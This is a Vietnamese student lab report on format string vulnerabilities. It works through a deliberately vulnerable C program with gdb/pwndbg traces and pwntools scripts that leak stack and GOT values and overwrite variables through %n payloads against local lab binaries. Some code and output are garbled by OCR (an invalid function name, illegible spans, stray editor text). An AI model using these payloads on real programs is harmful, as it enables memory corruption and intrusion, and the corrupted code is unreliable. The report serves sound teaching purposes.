

BÁO CÁO BÀI TẬP

Môn học: Lập trình an toàn và khai thác lỗ hổng phần mềm

Tên chủ đề: Format String

1. THÔNG TIN CHUNG:

Lớp: NT521.N11.ATCL

STT	Họ và tên	MSSV	Email
1	Vũ Hoàng Thạch Thiết	20521957	20521957@gm.uit.edu.vn
2	Lê Viết Tài Mẫn	20521593	20521593@gm.uit.edu.vn

2. NỘI DUNG THỰC HIỆN:¹

STT	Công việc	Kết quả tự đánh giá
1	Khai thác lỗ hổng format string để đọc dữ liệu	100%
2	Khai thác lỗ hổng format string để ghi đè bộ nhớ	100%

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

¹ Ghi nội dung công việc, các kịch bản trong bài Thực hành

BÁO CÁO CHI TIẾT

1. Sinh viên tìm hiểu và hoàn thành các chuỗi định dạng cần sử dụng để thực hiện các yêu cầu bên dưới

Yêu cầu	Chuỗi định dạng
1. In ra 1 số nguyên hệ thập phân	%d
2. In ra 1 số nguyên 4 byte hệ thập lục phân, trong đó luôn in đủ 8 số hexan.	%08x
3. In ra số nguyên dương, có ký hiệu + phía trước và chiếm ít nhất 5 ký tự, nếu không đủ thì thêm ký tự 0.	%+05d
4. In tối đa chuỗi 8 ký tự, nếu dư sẽ cắt bớt.	%.8s
5. In ra 1 số thực, trong đó đầu ra sẽ chiếm ít nhất 7 ký tự và luôn hiển thị 3 chữ số thập phân. Nếu số chữ số không đủ, nó sẽ đệm khoảng trắng ở phần nguyên.	% 7.3f
6. In ra 1 số thực, trong đó đầu ra sẽ chiếm ít nhất 7 ký tự và luôn hiển thị 3 chữ số thập phân. Nếu số chữ số không đủ, nó sẽ đệm ký tự 0 ở phần nguyên.	%07.3f

2. Khai thác lỗ hổng format string để đọc dữ liệu

B.2.1 Đọc dữ liệu trong ngăn xếp – stack

```
#include <stdio.h>
int main() {
    char s[100];
    int a = 1, b = 0x22222222, c = -1;
    scanf("%s", s);
    printf("%08x.%08x.%08x.%s\n", a, b, c, s);
    printf(s);
    printf("\n");
    return 0;
}
```

- Source code file app-leak.c

```
[11/22/22] seed@VM:~/.../LAB4$ gcc -m32 -fno-stack-protector -o app-leak app-leak.c
app-leak.c: In function 'main':
app-leak.c:7:8: warning: format not a string literal and no format arguments [-Wformat-security]
    7 | printf(s);
      |         ^
[11/22/22] seed@VM:~/.../LAB4$
```

- Khi built thì trình có báo lỗi ở dòng 7 printf(s) sẽ xảy ra lỗi format string nhưng ta vẫn build được

```
[11/22/22] seed@VM:~/.../LAB4$ ./app-leak
helloworld
00000001.22222222.ffffffff.helloworld
helloworld
[11/22/22] seed@VM:~/.../LAB4$
```

- Chạy chương trình và nhập một chuỗi bình thường

```
[11/22/22] seed@VM:~/.../LAB4$ ./app-leak
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x
fffa8090.ffffa8108.56593228
[11/22/22] seed@VM:~/.../LAB4$
```

- Khi ta nhập một chuỗi định dạng thay vì in lại chuỗi ta đã nhập thì chương trình lại in ra một giá trị nào đó
- Trong đó:
 - + 8 là in ra 8 ký tự
 - + 0 là nó sẽ thêm 0 vào thay vì khoảng trống nếu không đủ 8 ký tự
 - + x là ta sẽ in ở lowercase hexadecimal

```
[11/22/22] seed@VM:~/.../LAB4$ gdb app-leak
```

- Dùng gdb để phân tích chương trình

```
0x080484e5 <+74>: push 0x80485a3
0x080484ea <+79>: call 0x8048350 <printf@plt>
0x080484ef <+84>: add esp,0x20
0x080484f2 <+87>: sub esp,0xc
0x080484f5 <+90>: lea eax,[ebp-0x78]
0x080484f8 <+93>: push eax
0x080484f9 <+94>: call 0x8048350 <printf@plt>
0x080484fe <+99>: add esp,0x10
```

- Ta thấy hàm printf nằm ở 0x080484eavà 0x080484f9

```

pwndbg> b * main + 79
Breakpoint 1 at 0x80484ea
pwndbg> b* main + 94
Breakpoint 2 at 0x80484f9
pwndbg> run
Starting program: /home/seed/app-leak
%08x.%08x.%08x

```

- Đặt break point và run thì chương trình sẽ dừng ở hàm scanf để người dùng nhập
- Ta nhập chuỗi định dạng %08x.%08x.%08x

```

[ DISASM / i386 / set emulate on ]
> 0x80484ea <main+79> call printf@plt <printf@plt>
format: 0x80485a3 ← '%08x.%08x.%08x.%s\n'
vararg: 0x1

```

- -
- ```

[STACK]
00:0000 | esp 0xffffd100 → 0x80485a3 ← and eax, 0x2e783830 /* '%08x.%08x.%08x.%s\n' */
01:0004 | 0xffffd104 ← 0x1
02:0008 | 0xffffd108 ← 0x22222222 ('''')
03:000c | 0xffffd10c ← 0xffffffff
04:0010 | 0xffffd110 → 0xffffd120 ← '%08x.%08x.%08x'
05:0014 | 0xffffd114 → 0xffffd120 ← '%08x.%08x.%08x'

```

- Ta thấy tham số đầu tiên của hàm printf là địa chỉ của chuỗi định dạng %08x.%08x.%08x.%s\n
- Tham số thứ 2 là giá trị của a
- Tham số thứ 3 là giá trị của b
- Tham số thứ 4 là giá trị của c
- Tham số thứ 5 là địa chỉ tương ứng của chuỗi ta đã nhập

```

[STACK]
00:0000 | esp 0xffffd110 → 0xffffd120 ← '%08x.%08x.%08x'
01:0004 | 0xffffd114 → 0xffffd120 ← '%08x.%08x.%08x'
02:0008 | 0xffffd118 → 0xf7ffd990 ← 0x0
03:000c | 0xffffd11c → 0xf7feba39 ← mov eax, dword ptr [esp + 0x68]

```

- Ta tiếp tục chạy tới lệnh printf thứ 2 bằng lệnh c

```

> 0x80484f9 <main+94> call printf@plt
rintf@plt>
format: 0xffffd120 ← '%08x.%08x.%08x'
vararg: 0xffffd120 ← '%08x.%08x.%08x'

```

- Tại printf thứ 2 chỉ có 1 tham số là chuỗi s đã nhập. Tuy nhiên, do ở đây ta cố tình nhập chuỗi s giống như chuỗi định dạng. Printf() sẽ coi đó là chuỗi định dạng và đi tìm các giá trị cụ thể để in ra tương ứng
- Thông thường, chuỗi định dạng sẽ là tham số thứ nhất của printf(Dòng esp đầu tiên), các giá trị cần in sẽ ở vị trí tham số thứ 2 và thứ 3(2 dòng esp tiếp theo)
- Với stack trên, đối với printf() thứ 2, các tham số của nó được lưu từ địa chỉ 0xffffd110. Tham số đầu tiên là địa chỉ chuỗi s(0xffffd120)

- Vậy theo logic hàm printf() sẽ hiểu các giá trị nằm sau đó ở các địa chỉ 0xffffd114, 0xffffd118, 0xffffd11c lần lượt là các tham số 2, 3, 4 và là những giá trị cần in
- Với định dạng %x, chương trình sẽ coi các giá trị tại địa chỉ chỉ này như kiểu int và in chúng ra. Do đó tiếp tục chạy ta được kết quả là các giá trị tại các ô nhớ nằm ngay phía sau tham số đầu tiên của printf

```
pwndbg> c
Continuing.
ffffd120.f7ffd990.f7feba39
[Inferior 1 (process 6376) exited normally]
```

- Các kết quả sẽ không giống nhau mọi lúc vì dữ liệu trên ngăn xếp sẽ khác nhau do các stack được cấp phát mỗi lần

### 3. Sinh viên khai thác và truyền chuỗi s để đọc giá trị biến c của main. Giải thích ý nghĩa của chuỗi định dạng và lý do có thể in được giá trị cần thiết. Bonus: chuỗi s không dài hơn 10 ký tự

```
0x00000000 <+17>: sub esp, 0x14
0x080484ac <+17>: mov DWORD PTR [ebp-0xc], 0x1
0x080484b3 <+24>: mov DWORD PTR [ebp-0x10], 0x22222222
0x080484ba <+31>: mov DWORD PTR [ebp-0x14], 0xffffffff
0x080484c1 <+38>: sub esp, 0x8
```

- Ta dùng gdb thấy biến c nằm ở vị trí ebp-0x14

```
pwndbg> p/x $ebp-0x14
$1 = 0xffffd184
```

- Địa chỉ cụ thể là 0xffffd184

```
0x804851a <main+127> ret
[STACK]
00:0000| esp 0xffffd110 -> 0xffffd120 <- 'hello'
01:0004| 0xffffd114 -> 0xffffd120 <- 'hello'
02:0008| 0xffffd118 -> 0xf7ffd990 <- 0x0
03:000c| 0xffffd11c -> 0xf7feba39 <- mov eax, dword ptr [esp + 0x68]
04:0010| eax 0xffffd120 <- 'hello'
```

- Ta xem vị trí đặt tham số của hàm printf thứ 2. Ta thấy tham số đầu tiên, là địa chỉ chuỗi định dạng được đặt ở vị trí 0xffffd110

```
pwndbg> x/40wx 0xffffd110
0xffffd110: 0xffffd120 0xffffd120 0xf7ffd990 0xf7feba39
0xffffd120: 0x6c6c6568 0x0000006f 0xffffd188 0xffffd318
0xffffd130: 0x00000000 0x00000000 0xf7ffd000 0x00000000
0xffffd140: 0x00000000 0x00000001 0x00001000 0xffffd24c
0xffffd150: 0xf7fb1224 0x00080000 0xf7fb3000 0xf7fb64e8
0xffffd160: 0xf7fb3000 0xf7fe22f0 0x00000000 0xf7dfc362
0xffffd170: 0xf7fb33fc 0x00000001 0xffffd244 0x0804856b
0xffffd180: 0x00000001 0xffffffff 0x22222222 0x00000001
0xffffd190: 0xf7fe22f0 0xffffd1b0 0x00000000 0xf7de2ee5
0xffffd1a0: 0xf7fb3000 0xf7fb3000 0x00000000 0xf7de2ee5
pwndbg>
```

[illegible]

```
[11/22/22]seed@VM:~$ python3 -c 'print("%29$x")' | ./app-leak
00000001.22222222.ffffffff.%29$x
ffffffff
```

#### 4. Đọc chuỗi trong ngăn xếp

```
[11/29/22]seed@VM:~/.../LAb4$./app-leak
%s%s%s%s
00000001.22222222.fffffffff.%s%s%s%s
Segmentation fault
[11/29/22]seed@VM:~/.../LAb4$
```

- Chạy chương trình và nhập chuỗi “%s%s%s%s” ta thấy chương trình bị segmentation fault

```

pwndbg> b* main + 94
Breakpoint 1 at 0x80484f9
pwndbg> run
Starting program: /home/seed/Desktop/LAb4/app-leak
%s%s%s%s
00000001.22222222.ffffffff.%s%s%s%s

```

- Dùng gdb để debug và đặt break point tại printf thứ 2





```

[STACK]
00:0000 esp 0xffffd0f0 → 0xffffd100 ← '%s%s%s%s'
01:0004 0xffffd0f4 → 0xffffd100 ← '%s%s%s%s'
02:0008 0xffffd0f8 → 0xf7ffd990 ← 0x0
03:000c 0xffffd0fc → 0xf7feba39 ← mov eax, dword ptr [esp + 0x68]
04:0010 eax 0xffffd100 ← '%s%s%s%s'
05:0014 0xffffd104 ← '%s%s'
06:0018 0xffffd108 → 0xffffd100 ← '%s%s%s%s'
07:001c 0xffffd10c → 0xffffd2f8 ← 0x20 /* ' ' */

[BACKTRACE]
▶ f 0 0x80484f9 main+94
 f 1 0xf7de2ee5 __libc_start_main+245

pwndbg>

```

- Ta thấy với lệnh printf thứ 2 thì 3 giá trị tạo 0xffffd0f4, 0xffffd0f8, 0xffffd0fc lần lượt là tham số dành cho 3 format %s, được mong đợi là địa chỉ chứa chuỗi cần in

### 5. Giải thích vì sao %s%s%s gây lỗi chương trình?

- %s thì các đối số được sử dụng như một con trỏ trỏ đến một chuỗi mà chuỗi này thay thế cho đầu ra

```

[11/29/22] seed@VM: ~/.../LAB4$./app-leak
%p%p%p%p
00000001.22222222.ffffffff.%p%p%p%p
0xfffd731700xf7f989900xf7f86a390x70257025
[11/29/22] seed@VM: ~/.../LAB4$

```

- Khi ta thử dùng %p để in địa chỉ thì ta thấy tại %p thứ 4 in ra một địa chỉ không hợp lệ có trong stack nên sẽ gây crash chương trình làm chương trình bị lỗi

### 6. Đọc dữ liệu từ địa chỉ tùy ý

```

> 0x80484cd <main+50> call __isoc99_scanf@plt <__isoc99_scanf@plt>
 format: 0x80485a0 ← 0x25007325 /* '%s' */
 vararg: 0xffffd100 → 0x8048034 ← push es

0x80484d2 <main+55> add esp, 0x10
0x80484d5 <main+58> sub esp, 0xc
0x80484d8 <main+61> lea eax, [ebp - 0x78]
0x80484db <main+64> push eax
0x80484dc <main+65> push dword ptr [ebp - 0x14]
0x80484df <main+68> push dword ptr [ebp - 0x10]
0x80484e2 <main+71> push dword ptr [ebp - 0xc]
0x80484e5 <main+74> push 0x80485a3
0x80484ea <main+79> call printf@plt <printf@plt>

0x80484ef <main+84> add esp, 0x20
[STACK]
00:0000 esp 0xffffd0f0 → 0x80485a0 ← and eax, 0x30250073 /* '%s' */
01:0004 0xffffd0f4 → 0xffffd100 → 0x8048034 ← push es
02:0008 0xffffd0f8 → 0xf7ffd990 ← 0x0
03:000c 0xffffd0fc → 0xf7feba39 ← mov eax, dword ptr [esp + 0x68]
04:0010 eax 0xffffd100 → 0x8048034 ← push es
05:0014 0xffffd104 ← 9 /* '\t' */
06:0018 0xffffd108 → 0xffffd168 ← 0x22222222 ('""')
07:001c 0xffffd10c → 0xffffd2f8 ← 0x20 /* ' ' */
[BACKTRACE]
> f 0 0x80484cd main+50
f 1 0xf7de2ee5 __libc_start_main+245

```

- Đặt break point tại hàm scanf và run
- Khi chạy đến hàm scanf để đọc chuỗi từ người dùng có thể thấy tham số thứ 2 là 0xffffd990 là địa chỉ lưu của s

```

0x8048500 <main+107> call putchar@plt <
putchar@plt>

0x804850b <main+112> add esp, 0x10
0x804850e <main+115> mov eax, 0
0x8048513 <main+120> mov ecx, dword ptr [ebp - 4]
0x8048516 <main+123> leave
0x8048517 <main+124> lea esp, [ecx - 4]
0x804851a <main+127> ret

[STACK]
00:0000 esp 0xffffd0f0 → 0xffffd100 ← 'hello'
01:0004 0xffffd0f4 → 0xffffd100 ← 'hello'
02:0008 0xffffd0f8 → 0xf7ffd990 ← 0x0
03:000c 0xffffd0fc → 0xf7feba39 ← mov eax, dword ptr [esp +
0x68]
04:0010 eax 0xffffd100 ← 'hello'
05:0014 0xffffd104 ← 0x6f /* 'o' */
06:0018 0xffffd108 → 0xffffd168 ← 0x22222222 ('""')
07:001c 0xffffd10c → 0xffffd2f8 ← 0x20 /* ' ' */
[BACKTRACE]
> f 0 0x80484f9 main+94
f 1 0xf7de2ee5 __libc_start_main+245

pwndbg>

```

- Ta xem vị trí đặt các tham số của hàm printf thứ 2
- Ta thấy tham số đầu tiên được đặt ở địa chỉ 0xffffd0f0



```

pwndbg> x/20wx 0xffffd0f0
0xffffd0f0: 0xffffd100 0xffffd100 0xf7ffd990 0xf7feba39
0xffffd100: 0x6c6c6568 0x0000006f 0xffffd168 0xffffd2f8
0xffffd110: 0x00000000 0x00000000 0xf7ffd000 0x00000000
0xffffd120: 0x00000000 0x00000001 0x00001000 0xffffd22c
0xffffd130: 0xf7fb1224 0x00080000 0xf7fb3000 0xf7fb64e8
pwndbg>

```

- Xem các giá trị đang được lưu gần địa chỉ 0xffffd0f0
- Giả sử địa chỉ cần đọc dữ liệu ở đầu chuỗi s (Phần tô đen) địa chỉ cần đọc sẽ nằm ở tham số thứ 4

```

[11/29/22] seed@VM: ~/.../LAB4$./app-leak
0x6c6c6568%3$s
00000001.22222222.ffffffff.0x6c6c6568%3$s
0x6c6c65680D$0G
[11/29/22] seed@VM: ~/.../LAB4$

```

7. Sinh viên khai thác và truyền chuỗi s đọc thông tin từ Global Offset Table (GOT) và lấy về địa chỉ của hàm scanf. Giải thích ý nghĩa của chuỗi định dạng và lý do có thể in được giá trị cần thiết

```

1|from pwn import *
2|sh = process('./app-leak')
3|leakmemory = ELF('./app-leak')
4|# address of scanf entry in GOT, where we need to read content
5|__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
6|print ("- GOT of scanf: %s" % hex(__isoc99_scanf_got))
7|# prepare format string to exploit
8|# change to your format string
9|fm_str = b'%p%p%p%p'
10|payload = p32(__isoc99_scanf_got) + fm_str
11|print ("- Your payload: %s" % payload)
12|# send format string
13|sh.sendline(payload)
14|sh.recvuntil(fm_str+b'\n')
15|# remove the first bytes of __isoc99_scanf@got
16|print ('- Address of scanf: %s' % hex(u32(sh.recv()[4:8])))
17|sh.interactive()
18|

```

- Dòng 16 sẽ loại bỏ địa chỉ của \_\_isoc99\_scanf@got
- Sử dụng %n có thể xem được nội dung của got trong hàm libc

```
[11/29/22]seed@VM:~/.../LAB4$ python3 exploit.py
[+] Starting local process './app-leak': pid 3896
[*] '/home/seed/Desktop/LAB4/app-leak'
 Arch: i386-32-little
 RELRO: Partial RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: No PIE (0x8048000)
- GOT of scanf: 0x804a018
- Your payload: b'\x18\xa0\x04\x08%p%p%p%p'
[*] Process './app-leak' stopped with exit code 0 (pid 3896)
- Address of scanf: 0x66667830
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
```

- Kết quả sau khi exploit ta lấy được địa chỉ hàm scanf

#### 8. Khai thác lỗ hổng format string để ghi đè bộ nhớ

```
taiman@taiman:~/Desktop/Lab 4$./app-overwrite
0xffffd0ac
hello
hello
a = 123, b = 1c8, c = 789
```

Địa chỉ cần ghi đè : 0xffffd0ac

```

0x804849c <main+17> mov dword ptr [ebp - 0xc], 0x315
► 0x80484a3 <main+24> sub esp, 8
0x80484a6 <main+27> lea eax, [ebp - 0xc]
0x80484a9 <main+30> push eax
0x80484aa <main+31> push 0x80485e0
0x80484af <main+36> call printf@plt <printf@plt>

0x80484b4 <main+41> add esp, 0x10
0x80484b7 <main+44> sub esp, 8
0x80484ba <main+47> lea eax, [ebp - 0x70]
0x80484bd <main+50> push eax
 [STACK]
00:0000 | esp 0xffffd000 ← 0x0
01:0004 | 0xffffd004 ← 0x1
02:0008 | 0xffffd008 → 0xf7ffda40 ← 0x0
03:000c | 0xffffd00c → 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ← 0x36f2c
04:0010 | 0xffffd010 → 0xf7fc4540 (__kernel_vsycall) ← push ecx
05:0014 | 0xffffd014 ← 0xffffffff
06:0018 | 0xffffd018 → 0x8048034 ← push es
07:001c | 0xffffd01c → 0xf7fc66d0 ← 0xe
 [BACKTRACE]
► f 0 0x80484a3 main+24
 f 1 0xf7d9b519 __libc_start_call_main+121
 f 2 0xf7d9b5f3 __libc_start_main+147
 f 3 0x80483b1 _start+33

pwndbg> p/x $ebp - 0xc
$1 = 0xffffd06c

```

Trong gdb, c nằm ở 0xffffd06c

```

> 0x80484c3 <main+56> call __isoc99_scanf@plt <__isoc99_scan
f@plt>
 format: 0x80485e4 ← 0xa007325 /* '%s' */
 vararg: 0xffffd008 → 0xf7ffda40 ← 0x0

0x80484c8 <main+61> add esp, 0x10
0x80484cb <main+64> sub esp, 0xc
0x80484ce <main+67> lea eax, [ebp - 0x70]
0x80484d1 <main+70> push eax
0x80484d2 <main+71> call printf@plt <printf@plt>

[STACK]
00:0000 | esp 0xffffcfff0 → 0x80485e4 ← and eax, 0x590a0073 /* '%s' */
01:0004 | 0xffffcfff4 → 0xffffd008 → 0xf7ffda40 ← 0x0
02:0008 | 0xffffcfff8 → 0xf7fbe7b0 → 0x804829c ← inc edi /* 'GLIBC_2.0' */
03:000c | 0xffffcfff0 ← 0x1
04:0010 | 0xffffd000 ← 0x0
05:0014 | 0xffffd004 ← 0x1
06:0018 | eax 0xffffd008 → 0xf7ffda40 ← 0x0
07:001c | 0xffffd00c → 0xf7ff0000 (_GLOBAL_OFFSET_TABLE_) ← 0x36f2c

```

Từ hàm scanf, ta thấy chuỗi s sẽ nằm ở tham số thứ hai tại 0xffffd008

```

> 0x80484d2 <main+71> call printf@plt <printf@plt>
 format: 0xffffd008 ← 'hello'
 vararg: 0xffffd008 ← 'hello'

0x80484d7 <main+76> add esp, 0x10
0x80484da <main+79> mov eax, dword ptr [ebp - 0xc]
0x80484dd <main+82> cmp eax, 0x10
0x80484e0 <main+85> jne main+105 <main+105>

0x80484e2 <main+87> sub esp, 0xc

[STACK]
00:0000 | esp 0xffffcfff0 → 0xffffd008 ← 'hello'
01:0004 | 0xffffcfff4 → 0xffffd008 ← 'hello'
02:0008 | 0xffffcfff8 → 0xf7fbe7b0 → 0x804829c ← inc edi /* 'GLIBC_2.0' */
03:000c | 0xffffcfff0 ← 0x1
04:0010 | 0xffffd000 ← 0x0
05:0014 | 0xffffd004 ← 0x1
06:0018 | eax 0xffffd008 ← 'hello'
07:001c | 0xffffd00c → 0xf7ff006f (_dl_out_of_memory+7) ← 'memory'

[BACKTRACE]
> f 0 0x80484d2 main+71
> f 1 0xf7d9b519 __libc_start_call_main+121
> f 2 0xf7d9b5f3 __libc_start_main+147
> f 3 0x80483b1 _start+33

pwndbg>

```

Ở hàm printf ta thấy tham số của nó bắt đầu từ địa chỉ 0xffffcfff0

```

[STACK]
00:0000 esp 0xffffcfff0 → 0xffffd008 ← 'ABCDE'
01:0004 0xffffcfff4 → 0xffffd008 ← 'ABCDE'
02:0008 0xffffcfff8 → 0xf7fbe7b0 → 0x804829c ← inc edi /* 'GLIBC_2.0' */
03:000c 0xffffcfff4 ← 0x1
04:0010 0xffffd000 ← 0x0
05:0014 0xffffd004 ← 0x1
06:0018 eax 0xffffd008 ← 'ABCDE'
07:001c 0xffffd00c → 0xf7ff0045 ← 'lid format in exception string\n'

[BACKTRACE]
▶ f 0 0x80484d2 main+71
f 1 0xf7d9b519 __libc_start_call_main+121
f 2 0xf7d9b5f3 __libc_start_main+147
f 3 0x80483b1 _start+33

pwndbg> x/40wx 0xffffcfff0
0xffffcfff0: 0xffffd008 0xffffd008 0xf7fbe7b0 0x00000001
0xffffd000: 0x00000000 0x00000001 0x44434241 0xf7ff0045
0xffffd010: 0xf7fc4540 0xffffffff 0x08048034 0xf7fc66d0
0xffffd020: 0xf7ffd608 0x00000020 0x00000000 0xffffd238
0xffffd030: 0x00000000 0x00000000 0x01000000 0x00000009
0xffffd040: 0xf7fc4540 0x00000000 0xf7d924be 0xf7fa4054
0xffffd050: 0xf7fbe4a0 0xf7fd6f80 0xf7d924be 0xf7fbe4a0
0xffffd060: 0xffffd0a0 0xf7fbe66c 0xf7fbeb10 0x00000315
0xffffd070: 0x00000001 0xffffd090 0xf7ffd020 0xf7d9b519
0xffffd080: 0xffffd309 0x00000070 0xf7ffd000 0xf7d9b519

pwndbg> quit
taiman@taimam:~/Desktop/Lab 4$./app-overwrite
0xffffd0ac
ABCDE%x.%x.%x.%x.%x.%x.%x
ABCDEffffd048.f7fbe7b0.1.0.1.44434241.2e782545
a = 123, b = 1c8, c = 789

```

Vị trí lưu chuỗi định dạng ở tham số thứ 6 của printf

```

1 from pwn import *
2
3 def forc():
4 sh = process('./app-overwrite')
5 # get address of c from the first output
6 c_addr = int(sh.recvuntil('\n', drop=True), 16)
7 print('- Address of c: %s' % hex(c_addr))
8 # additional format - change to your format to create 12 characters
9 additional_format = b'%12x'
10 # overwrite offset - change to your format
11 overwrite_offset = b'%6$n'
12 payload = p32(c_addr) + additional_format + overwrite_offset
13 print('- Your payload: %s' % payload)
14 sh.sendline(payload)
15 sh.interactive()
16
17 forc()

```

Địa chỉ của c là 4 bytes vì thế ta cần ghi thêm 12 bytes nữa, và truyền vào vào tham số thứ 6

```

taiman@taiman:~/Desktop/Lab 4$ python3 overwrite.py
[+] Starting local process './app-overwrite': pid 3547
/home/taiman/Desktop/Lab 4/overwrite.py:6: BytesWarning:
SCII, no guarantees. See https://docs.pwntools.com/#bytes
 c_addr = int(sh.recvuntil('\n', drop=True), 16)
- Address of c: 0xffffd0ac
- Your payload: b'\xac\xd0\xff\xff%12x%6$n'
[*] Switching to interactive mode
[*] Process './app-overwrite' stopped with exit code 0
\xac\xd0\xff\xff fffffd048
You modified c.

a = 123, b = 1c8, c = 16

```

Ghi đè tại địa chỉ tùy ý

```

pwndbg> info variables a
All variables matching regular expression "a":

Non-debugging symbols:
0x08049f08 __frame_dummy_init_array_entry
0x08049f08 __init_array_start
0x08049f0c __do_global_dtors_aux_fini_array_entry
0x08049f0c __init_array_end
0x0804a01c __data_start
0x0804a01c data_start
0x0804a020 __dso_handle
0x0804a024 a
0x0804a02c __bss_start
0x0804a02c _edata
pwndbg>

```

Biến toàn cục a ở địa chỉ 0x0804a024

Debug gdb, ta thấy rằng phải đưa địa chỉ vào đúng vị trí.

Vì qq là 2 kí tự sẽ bị chiếm mất 2 bytes nên ta phải bù bằng 2 kí tự xx cho tròn một vị trí địa chỉ



```

[STACK]
00:0000 esp 0xffffcfff0 -> 0xffffd008 -> 'xx%8$nAABBBB'
01:0004 0xffffcfff4 -> 0xffffd008 -> 'xx%8$nAABBBB'
02:0008 0xffffcfff8 -> 0xf7fbe7b0 -> 0x804829c -> inc edi /* 'GLIBC_2.0' */
03:000c 0xffffcfff8 -> 0x1
04:0010 0xffffd000 -> 0x0
05:0014 0xffffd004 -> 0x1
06:0018 eax 0xffffd008 -> 'xx%8$nAABBBB'
07:001c 0xffffd00c -> '$nAABBBB'

[BACKTRACE]
> f 0 0x80484d2 main+71
f 1 0xf7d9b519 __libc_start_call_main+121
f 2 0xf7d9b5f3 __libc_start_main+147
f 3 0x80483b1 _start+33

pwndbg> x/32wx 0xffffcfff0
0xffffcfff0: 0xffffd008 0xffffd008 0xf7fbe7b0 0x00000001
0xffffd000: 0x00000000 0x00000001 0x38257878 0x41416e24
0xffffd010: 0x42424242 0xffffffff 0x08048034 0xf7fc66d0
0xffffd020: 0xf7ffd608 0x00000020 0x00000000 0xffffd238
0xffffd030: 0x00000000 0x00000000 0x01000000 0x00000009
0xffffd040: 0xf7fc4540 0x00000000 0xf7d924be 0xf7fa4054
0xffffd050: 0xf7fbe4a0 0xf7fd6f80 0xf7d924be 0xf7fbe4a0
0xffffd060: 0xffffd0a0 0xf7fbe66c 0xf7fbeb10 0x00000315

```

Giả sử BBBB là một địa chỉ 4 bytes. xx\$8 đã chiếm 4 bytes (78 78 25 38) và \$n chiếm thêm 2 bytes nữa (24 6e) vậy còn truyền thêm 2 bytes bất kì (41 41) để có thể chuyển BBBB vào tròn một địa chỉ.

Trên gdb có thể thấy sẽ là tham số thứ 8.

```

Open a.py ~/Desktop/Lab 4
overwrite.py x scanf.py

1 from pwn import *
2 def fora():
3 sh = process('./app-overwrite')
4 a_addr = 0x0804a024 # address of a
5 # format string - change to your answer
6 payload = b'aa%8$nx' + p32(a_addr)
7 sh.sendline(payload)
8 print(sh.recv())
9 sh.interactive()
10 fora()

taiman@taiman:~/Desktop/Lab 4$ ls
app-leak 'Lab 4 - Format String - 2022.docx' pwndbg
app-overwrite 'Lab 4 - Format String - 2022.pdf' scanf.py
a.py overwrite.py
taiman@taiman:~/Desktop/Lab 4$ python3 a.py
[+] Starting local process './app-overwrite': pid 37094
b'0xffffd15c\n'
[*] Switching to interactive mode
[*] Process './app-overwrite' stopped with exit code 0 (pid 37094)
aaxx$ \xa0\x04
You modified a for a small number.

a = 2, b = 1c8, c = 789
[*] Got EOF while reading in interactive
S

```

Ghi đè chỉnh sửa b

Vì biến b là kiểu int nên một word sẽ có 4 bytes và ta xác định địa chỉ của biến toàn cục b.

```
pwndbg> info variables b
All variables matching regular expression "b":

Non-debugging symbols:
0x08049f0c __do_global_dtors_aux_fini_array_entry
0x0804a028 b
0x0804a02c __bss_start
pwndbg>
```

Ta xác định được b ở địa chỉ và 3 bytes kế tiếp

0x0804a028 ghi 21

0x0804a029 ghi 43

0x0804a02a ghi 65

0x0804a02b ghi 87

```
1 from pwn import *
2 def for():
3 sh = process('./app-overwrite')
4 a_addr1 = 0x0804a028 # address of a
5 a_addr2 = 0x0804a029
6 a_addr3 = 0x0804a02a
7 a_addr4 = 0x0804a02b
8 # format string - change to your answer
9
10
11 # payload = b'%18x%8$' + p32(a_addr4) + p32(a_addr3) + p32(a_addr2) + p32(a_addr1) + b'%x%9$' + b'%x%10$' +
12 # b'%x%11$'
13
14 # payload = b'%18x%8$' + p32(a_addr4) + b'%30x%12$' + p32(a_addr3) + b'%27x%16$' + p32(a_addr2) +
15 # b'%27x%20$' + p32(a_addr1)
16
17 # payload = p32(a_addr1) + b'%xxxx' + p32(a_addr2) + b'%xxxx' + p32(a_addr3) + b'%xxxx' + p32(a_addr4) + b'%xxxxx%6$' +
18 # b'%34x%8$' + b'%34x%10$' + b'%34x%12$'
19
20 sh.sendline(payload)
21 print(sh.recv())
```

Python 2 Tab Width: 8 Ln 16, Col 1 INS

BỘ MÔN THỰC HÀNH LẬP TRÌNH AN TOÀN & KHAI THÁC

N TOÀN THÔNG TIN

Lab 4: Format String

2 Khai thác lỗ hổng format string để đọc dữ liệu

Lỗ hổng chuỗi định dạng format string có thể bị khai thác nhằm ghi

SEARCH module

tailman@tailman: /Desktop/Lab ->\$  
tailman@tailman: /Desktop/Lab ->\$  
tailman@tailman: /Desktop/Lab ->\$  
tailman@tailman: /Desktop/Lab ->\$  
tailman@tailman: /Desktop/Lab ->\$ python3 a.py  
(.) Starting local process './app-overwrite': pid 43288  
b'0xffffd15c\n(\xa0\x04\x08xxxx)\xa0\x04\x08xxxx\*\xa0\x04\x08xxxx+\xa0\x04\x08xxxx  
ffffd0f8 f7f7b0  
1\na = 123, b = 87654321, c = 789\n'  
(.) Switching to interactive mode  
(.) Process './app-overwrite' stopped with exit code 0 (pid 43288)  
(.) got EOF while reading in interactive

Xác định các offset để ghi đè trên thanh ghi. Và biến b ghi được 87654321

```

1 from pwn import *
2 def for_a():
3 sh = process('./app-overwrite')
4 a_addr1 = 0x0804a028 # address of a
5 a_addr2 = 0x0804a029
6 a_addr3 = 0x0804a02a
7 a_addr4 = 0x0804a02b
8 # format string - change to your answer
9
10 #
11 payload = b'%18x%8$n' + p32(a_addr4) + p32(a_addr3) + p32(a_addr2) + p32(a_addr1) + b'%x%9$n' + b'%x%10$n' +
12 b'%x%11$n'
13
14 payload = b'%18x%8$n' + p32(a_addr4) + b'%30x%12$nxxx' + p32(a_addr3) + b'%27x%16$nxxx' + p32(a_addr2) +
15 b'%27x%20$nxxx' + p32(a_addr1)
16 #
17 payload = p32(a_addr1) + b'xxxx' + p32(a_addr2) + b'xxxx' + p32(a_addr3) + b'xxxx' + p32(a_addr4) + b'xxxxx%6$n' +
18 b'%34x%8$n' + b'%34x%10$n' + b'%34x%12$n'
19 sh.sendline(payload)
20 print (sh.recv())

```

**BỘ MÔN** / **THỰC HÀNH LẬP TRÌNH AN TOÀN & KHAI THÁC**

**NTOÀN THÔNG TIN**

Lab 4: Format String

